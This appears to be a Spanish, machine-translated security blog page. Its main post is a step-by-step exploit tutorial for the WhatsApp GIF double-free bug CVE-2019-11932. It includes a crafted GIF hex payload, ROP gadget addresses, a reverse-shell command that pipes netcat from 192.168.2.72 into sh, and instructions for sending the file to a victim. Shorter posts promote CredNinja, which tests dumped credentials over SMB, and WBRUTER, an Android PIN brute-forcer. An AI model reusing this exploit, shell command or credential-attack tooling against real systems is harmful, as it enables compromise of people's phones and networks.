jueves, 3 de octubre de 2019

WhatsApp RCE Bug CVE-2019-11932 demo - tutorial

 
 
 

WhatsApp RCE Bug CVE-2019-11932 demo - tutorial



Manifestación


Enlace de Google Drive para descargar si no se puede acceder al enlace anterior 
 


Los pasos del video son los siguientes:

0:16 El atacante envía un archivo GIF al usuario a través de cualquier canal
Uno de ellos podría ser como Documento a través de WhatsApp (es decir, presionar el botón Clip de papel y elegir Documento para enviar el GIF dañado)
Si el atacante está en la lista de contactos del usuario (es decir, un amigo), el GIF dañado se descarga automáticamente sin ninguna interacción del usuario.
0:24 El usuario desea enviar un archivo multimedia a cualquiera de sus amigos de WhatsApp. Entonces, el usuario presiona el botón Clip de papel y abre la Galería de WhatsApp para elegir un archivo multimedia para enviar a su amigo.
Tenga en cuenta que el usuario no tiene que enviar nada porque solo abrir la Galería de WhatsApp activará el error. No es necesario un toque adicional después de presionar WhatsApp Gallery.
0:30 Dado que WhatsApp muestra vistas previas de cada medio (incluido el archivo GIF recibido), activará el error doblemente libre y nuestro exploit RCE.


Vulnerabilidad doblemente libre en DDGifSlurp en decoding.c en libpl_droidsonroids_gif

Cuando un usuario de WhatsApp abre la vista Galería en WhatsApp para enviar un archivo multimedia, WhatsApp lo analiza con una biblioteca nativa llamada libpl_droidsonroids_gif.so para generar la vista previa del archivo GIF. libpl_droidsonroids_gif.so es una biblioteca de código abierto con códigos fuente disponibles en 
 

Un archivo GIF contiene múltiples cuadros codificados. Para almacenar los cuadros decodificados, se utiliza un búfer con el nombre rasterBits. Si todos los cuadros tienen el mismo tamaño, rasterBits se reutiliza para almacenar los cuadros decodificados sin reasignación. Sin embargo, los rasterBits se reasignarían si se cumple una de las tres condiciones siguientes:

* ancho - alto> originalWidth - originalHeight
* ancho - ancho original> 0
* altura - altura original> 0

La reasignación es una combinación de free y malloc. Si el tamaño de la reasignación es 0, es simplemente gratuito. Digamos que tenemos un archivo GIF que contiene 3 cuadros que tienen tamaños de 100, 0 y 0.

Después de la primera reasignación, tenemos el búfer info->rasterBits de tamaño 100.
En la segunda reasignación de 0, se info->rasterBits búfer info->rasterBits .
En la tercera reasignación de 0, info->rasterBits se libera nuevamente.

Esto da como resultado una vulnerabilidad doblemente libre. La ubicación de activación se puede encontrar en decoding.c: 
 
 int_fast32_t widthOverflow = gifFilePtr -> Image . Width - info -> originalWidth ; int_fast32_t heightOverflow = gifFilePtr -> Image . Height - info -> originalHeight ; const uint_fast32_t newRasterSize = gifFilePtr -> Image . Width * gifFilePtr -> Image . Height ; if ( newRasterSize > info -> rasterSize || widthOverflow > 0 || heightOverflow > 0 ) { void * tmpRasterBits = reallocarray ( info -> rasterBits , newRasterSize , <<-- double - free here sizeof ( GifPixelType )); if ( tmpRasterBits == NULL ) { gifFilePtr -> Error = D_GIF_ERR_NOT_ENOUGH_MEM ; break ; } info -> rasterBits = tmpRasterBits ; info -> rasterSize = newRasterSize ; } 
 
 En Android, una memoria doble libre de tamaño N conduce a dos asignaciones de memoria posteriores de tamaño N que devuelven la misma dirección.
 
 (lldb) expr int $foo = (int) malloc(112) (lldb) p/x $foo (int) $14 = 0xd379b250 (lldb) p (int)free($foo) (int) $15 = 0 (lldb) p (int)free($foo) (int) $16 = 0 (lldb) p/x (int)malloc(12) (int) $17 = 0xd200c350 (lldb) p/x (int)malloc(96) (int) $18 = 0xe272afc0 (lldb) p/x (int)malloc(180) (int) $19 = 0xd37c30c0 (lldb) p/x (int)malloc(112) (int) $20 = 0xd379b250 (lldb) p/x (int)malloc(112) (int) $21 = 0xd379b250 
 
 En el fragmento anterior, la variable $ foo se liberó dos veces. Como resultado, las siguientes dos asignaciones ($ 20 y $ 21) devuelven la misma dirección. Ahora mira a struct GifInfo en gif.h

 struct GifInfo { void ( * destructor )( GifInfo * , JNIEnv * ); <<-- there ' s a function pointer here GifFileType * gifFilePtr ; GifWord originalWidth , originalHeight ; uint_fast16_t sampleSize ; long long lastFrameRemainder ; long long nextStartTime ; uint_fast32_t currentIndex ; GraphicsControlBlock * controlBlock ; argb * backupPtr ; long long startPos ; unsigned char * rasterBits ; uint_fast32_t rasterSize ; char * comment ; uint_fast16_t loopCount ; uint_fast16_t currentLoop ; RewindFunc rewindFunction ; <<-- there ' s another function pointer here jfloat speedFactor ; uint32_t stride ; jlong sourceLength ; bool isOpaque ; void * frameBufferDescriptor ; }; 

Luego creamos un archivo GIF con tres cuadros de los siguientes tamaños:
  • sizeof (GifInfo)
  • 0 0
  • 0 0
Cuando se abre la Galería de WhatsApp, dicho archivo GIF activa el error doblemente libre en el búfer rasterBits con size sizeof(GifInfo) . Curiosamente, en WhatsApp Gallery, un archivo GIF se analiza dos veces. Cuando dicho archivo GIF se analiza nuevamente, se crea otro objeto GifInfo. Debido al comportamiento doblemente libre en Android, el objeto de info GifInfo e info->rasterBits apuntarán a la misma dirección. DDGifSlurp () decodificará el primer cuadro en el búfer info->rasterBits , sobrescribiendo así la info y su función rewindFunction() , que se llama justo al final de la función DDGifSlurp ().

Control de registro de PC

 El archivo GIF que necesitamos crear es el siguiente:
 
 
 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B 
 
 Contiene cuatro marcos:
 
Marco 1:
 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 CE 57 2B 6F EE FF FF 
 
 Marco 2:
 2C 00 00 00 00 1C 0F 00 00 00 00  
 
 Marco 3:
 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
 
 Marco 4:
 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 
 
 La siguiente secuencia es lo que sucedió cuando se abrió la Galería de WhatsApp:
  • Primer análisis:
    • En eso:
      • GifInfo * info = malloc (168);
    • Marco 1:
      • info-> rasterBits = reallocarray (info-> rasterBits, 0x8 * 0x15, 1);
    • Marco 2:
      • info-> rasterBits = reallocarray (info-> rasterBits, 0x0 * 0xf1c, 1);
    • Marco 3:
      • info-> rasterBits = reallocarray (info-> rasterBits, 0x0 * 0xf1c, 1);
    • Marco 4:
      • no importa, está ahí para hacer que este archivo GIF sea válido
  • Segundo análisis:
    • En eso:
      • GifInfo * info = malloc (168);
    • Marco 1:
      • info-> rasterBits = reallocarray (info-> rasterBits, 0x8 * 0x15, 1);
    • Marco 2, 3, 4:
      • no importa
    • Fin:
      • info-> rewindFunction (info);
Debido al error de doble libre que ocurre en el primer análisis, info e info->rasterBits ahora apuntan a la misma ubicación. Con el primer marco diseñado como se dijo, podríamos controlar rewindFunction y PC cuando info->rewindFunction(info); se llama. Tenga en cuenta que los marcos están todos codificados con LZW. Debemos usar un codificador LZW para codificar los cuadros. El desencadenante GIF anterior se bloquea de la siguiente manera:
 
--------- beginning of crash 10-02 11:09:38.460 17928 18059 F libc : Fatal signal 6 (SIGABRT), code -6 in tid 18059 (image-loader), pid 17928 (com.whatsapp) 10-02 11:09:38.467 1027 1027 D QCOM PowerHAL: LAUNCH HINT: OFF 10-02 11:09:38.494 18071 18071 I crash_dump64: obtaining output fd from tombstoned, type: kDebuggerdTombstone 10-02 11:09:38.495 1127 1127 I /system/bin/tombstoned: received crash request for pid 17928 10-02 11:09:38.497 18071 18071 I crash_dump64: performing dump of process 17928 (target tid = 18059) 10-02 11:09:38.497 18071 18071 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 10-02 11:09:38.497 18071 18071 F DEBUG : Build fingerprint: 'google/taimen/taimen:8.1.0/OPM1.171019.011/4448085:user/release-keys' 10-02 11:09:38.497 18071 18071 F DEBUG : Revision: 'rev_10' 10-02 11:09:38.497 18071 18071 F DEBUG : ABI: 'arm64' 10-02 11:09:38.497 18071 18071 F DEBUG : pid: 17928, tid: 18059, name: image-loader >>> com.whatsapp <<< 10-02 11:09:38.497 18071 18071 F DEBUG : signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr -------- 10-02 11:09:38.497 18071 18071 F DEBUG : x0 0000000000000000 x1 000000000000468b x2 0000000000000006 x3 0000000000000008 10-02 11:09:38.497 18071 18071 F DEBUG : x4 0000000000000000 x5 0000000000000000 x6 0000000000000000 x7 7f7f7f7f7f7f7f7f 10-02 11:09:38.497 18071 18071 F DEBUG : x8 0000000000000083 x9 0000000010000000 x10 0000007da3c81cc0 x11 0000000000000001 10-02 11:09:38.497 18071 18071 F DEBUG : x12 0000007da3c81be8 x13 ffffffffffffffff x14 ff00000000000000 x15 ffffffffffffffff 10-02 11:09:38.497 18071 18071 F DEBUG : x16 00000055b111efa8 x17 0000007e2bb3452c x18 0000007d8ba9bad8 x19 0000000000004608 10-02 11:09:38.497 18071 18071 F DEBUG : x20 000000000000468b x21 0000000000000083 x22 0000007da3c81e48 x23 00000055b111f3f0 10-02 11:09:38.497 18071 18071 F DEBUG : x24 0000000000000040 x25 0000007d8bbff588 x26 00000055b1120670 x27 000000000000000b 10-02 11:09:38.497 18071 18071 F DEBUG : x28 00000055b111f010 x29 0000007da3c81d00 x30 0000007e2bae9760 10-02 11:09:38.497 18071 18071 F DEBUG : sp 0000007da3c81cc0 pc 0000007e2bae9788 pstate 0000000060000000 10-02 11:09:38.499 18071 18071 F DEBUG : 10-02 11:09:38.499 18071 18071 F DEBUG : backtrace: 10-02 11:09:38.499 18071 18071 F DEBUG : #00 pc 000000000001d788 /system/lib64/libc.so (abort+120) 10-02 11:09:38.499 18071 18071 F DEBUG : #01 pc 0000000000002fac /system/bin/app_process64 (art::SignalChain::Handler(int, siginfo*, void*)+1012) 10-02 11:09:38.499 18071 18071 F DEBUG : #02 pc 00000000000004ec [vdso:0000007e2e4b0000] 10-02 11:09:38.499 18071 18071 F DEBUG : #03 pc deadbeeefffffffc <unknown>
 

Tratar con ASLR y W ^ X

 Después de controlar la PC, queremos lograr la ejecución remota de código. En Android, no podemos ejecutar código en regiones no ejecutables debido a W ^ X (es decir, pila y montón). La forma más fácil de tratar con W ^ X en nuestro caso es ejecutar el siguiente comando:
 
system("toybox nc 192.168.2.72 4444 | sh"); 
 
 Para eso, necesitamos que la PC apunte a la función system() en libc.so y X0 para apuntar a "toybox nc 192.168.2.72 4444 | sh" . Esto no se puede hacer directamente. Primero debemos permitir que la PC salte a un dispositivo intermedio, que establece que X0 apunte a "toybox nc 192.168.2.72 4444 | sh" y salte al system() . Desde el código de desmontaje alrededor de info->rewindFunction(info); , podemos ver que tanto X0 como X19 apuntan a info->rasterBits (o info , porque ambos apuntan a la misma ubicación), mientras que X8 es realmente info->rewindFunction .
 
 
 
 Disassembly around info->rewindFunction
 
 
 
 
Hay un gadget en libhwui.so que satisface perfectamente nuestro propósito:
  
ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 

 Digamos que la dirección del dispositivo anterior es AAAAAAAA y la dirección de la función system () es BBBBBBBB. El búfer rasterBits (cuadro 1) antes de la codificación LZW se ve a continuación:
 
 00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000080: 4141 4141 4141 4141 eeff AAAAAAAA.. 
 
 En un sistema Android normal, debido a que todos los procesos se generan a partir de cigotos, incluso con ASLR nuestras direcciones AAAAAAAA y BBBBBBBB no cambian si WhatsApp se elimina y se reinicia. Sin embargo, no pueden persistir en el reinicio del sistema. Para tener AAAAAAAA y BBBBBBBB confiables, necesitamos una vulnerabilidad de divulgación de información que nos proporcione la dirección base de libc.so y libhwui.so. Esa vulnerabilidad está más allá del alcance de este blog.

Poniendo todo junto

Simplemente compile el código que adjunté en el Apéndice. Tenga en cuenta que la dirección del system() y el gadget deben reemplazarse por la dirección real encontrada por una vulnerabilidad de divulgación de información (que no está cubierta en esta publicación de blog).

/* Gadget g1: ldr x8, [x19, #0x18] add x0, x19, #0x20 blr x8 */ size_t g1_loc = 0x7cb81f0954; <<-- replace this memcpy(buffer + 128, &g1_loc, 8); size_t system_loc = 0x7cb602ce84; <<-- replace this memcpy(buffer + 24, &system_loc, 8);

 Ejecute el código para generar el archivo GIF dañado:
 
 notroot@osboxes:~/Desktop/gif$ gcc -o exploit egif_lib.c exploit.c ..... ..... ..... notroot@osboxes:~/Desktop/gif$ ./exploit buffer = 0x7ffc586cd8b0 size = 266 47 49 46 38 39 61 18 00 0A 00 F2 00 00 66 CC CC FF FF FF 00 00 00 33 99 66 99 FF CC 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 08 00 15 00 00 08 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 9C 09 B0 C5 07 00 00 00 74 DE E4 11 F3 06 0F 08 37 63 40 C4 C8 21 C3 45 0C 1B 38 5C C8 70 71 43 06 08 1A 34 68 D0 00 C1 07 C4 1C 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 12 7C C0 C5 07 00 00 00 EE FF FF 2C 00 00 00 00 1C 0F 00 00 00 00 2C 00 00 00 00 1C 0F 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2C 00 00 00 00 18 00 0A 00 0F 00 01 00 00 3B 
 
 
 Luego copie el contenido en un archivo GIF y envíelo como Documento con WhatsApp a otro usuario de WhatsApp. Tenga en cuenta que no debe enviarse como un archivo multimedia, de lo contrario, WhatsApp intenta convertirlo en un MP4 antes de enviarlo. Una vez que el usuario recibe el archivo GIF malicous, no pasará nada hasta que el usuario abra la Galería de WhatsApp para enviar un archivo multimedia a su amigo.

Versiones afectadas

El exploit funciona bien hasta la versión 2.19.230 de WhatsApp. La vulnerabilidad se parcheó oficialmente en WhatsApp versión 2.19.244
El exploit funciona bien para Android 8.1 y 9.0, pero no funciona para Android 8.0 y versiones inferiores. En las versiones anteriores de Android, todavía se podía activar el doble libre. Sin embargo, debido a las llamadas malloc realizadas por el sistema después del doble libre, la aplicación simplemente falla antes de llegar al punto en el que podríamos controlar el registro de la PC.
Tenga en cuenta que Facebook informó al desarrollador del repositorio android-gif-drawable sobre el problema. La solución de Facebook también se fusionó con el repositorio original en una confirmación del 10 de agosto. La versión 1.2.18 de android-gif-drawable está a salvo del error de doble libre.


demo en video :
 
 siguienos : 
                   https://www.facebook.com/dbseguro/
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

viernes, 30 de agosto de 2019

OSINT CUENTAS DE INSTAGRAM


  Saludos gente!!

 en esta ocasión le presentamos una lista de  tools que nos permitirá recolectar información de las cuentas  realizando un OSINT  de recopilación

Una lista constantemente actualizada de fuentes de OSINT

martes, 23 de julio de 2019

CredNinja: multithreaded SMB tool

CredNinja está destinado a probadores de penetración que desean realizar un compromiso de manera rápida y eficiente. Si bien esta herramienta se puede usar para operaciones más encubiertas (incluidas algunas de las adiciones a continuación), realmente brilla cuando se usa en la escala de una red grande.
En su núcleo, le proporciona una lista de las credenciales que ha volcado (o hashes, puede pasar el hash) y una lista de sistemas en el dominio (sugiero que busque el puerto 445 primero, o puede usar "-escanear"). Le informará si las credenciales que volcó son válidas en el dominio y si tiene acceso de administrador local a un host. Vea a continuación las características adicionales, como la búsqueda de usuarios y la enumeración de detalles del host. Está diseñado para ejecutarse en Kali Linux.

descarga:
git clone https://github.com/Raikia/CredNinja.git
cd CreadNinja


WBRUTER

WBRUTER

Saludos con todos gente hoy le presentamos una tools de fuerza bruta para android
en caso de que hallas olvidado el PIN de tu android con esta herramienta podrás recuperar  el acceso.

wbruter es la primera herramienta que se ha lanzado como código abierto que puede garantizar al 
100% que su código pin se descifrará mientras se habilite la depuración de usb. wbruter también incluye algunos otros métodos brutos como ataques de diccionario para gmail, ftp, rar, zip y algunas otras extensiones de archivo.
wbruter siempre intentará brindar soporte para protocolos raros, no contendrá elementos comunes como otras herramientas brutas que cubren como facebook, snapchat, instagram y usted lo menciona (excepto algunas excepciones, muy pocas)

INSTALACIÓN 

git clone https://github.com/wuseman/WBRUTER
cd WBRUTER; ./wbruter [-X]

Habilite la depuración USB a través de los siguientes métodos:

Vía GUI:

Vaya a configuración -> acerca de> presione en el número de compilación 7 veces y se habilitará la configuración del desarrollador, regrese a la configuración y presione en el modo desarrollador y luego habilite la DEPURACIÓN DE USB. Si encontró un dispositivo Android en la calle o algo así y quiere romper el pin, esto no será posible a menos que ya conozca el pin, por lo que el dispositivo debe tener habilitada la función de depuración USB para que esto funcione. Si quieres probar esto por diversión, puedes habilitar la depuración de USB después de desbloquear el teléfono.

Vía cli / adb:

 settings put global development_settings_enabled 1
 setprop persist.service.adb.enable 1

A través de GUI (el diseño antiguo ahora usa --androidgui 4 en su lugar)

En su lugar, use el método cli ya que muchos dispositivos se configuraron para borrar el dispositivo después de "10/15 intentos de pin incorrectos" y esto no ocurrirá con el método CLI. (Actualizado: enero / 2019)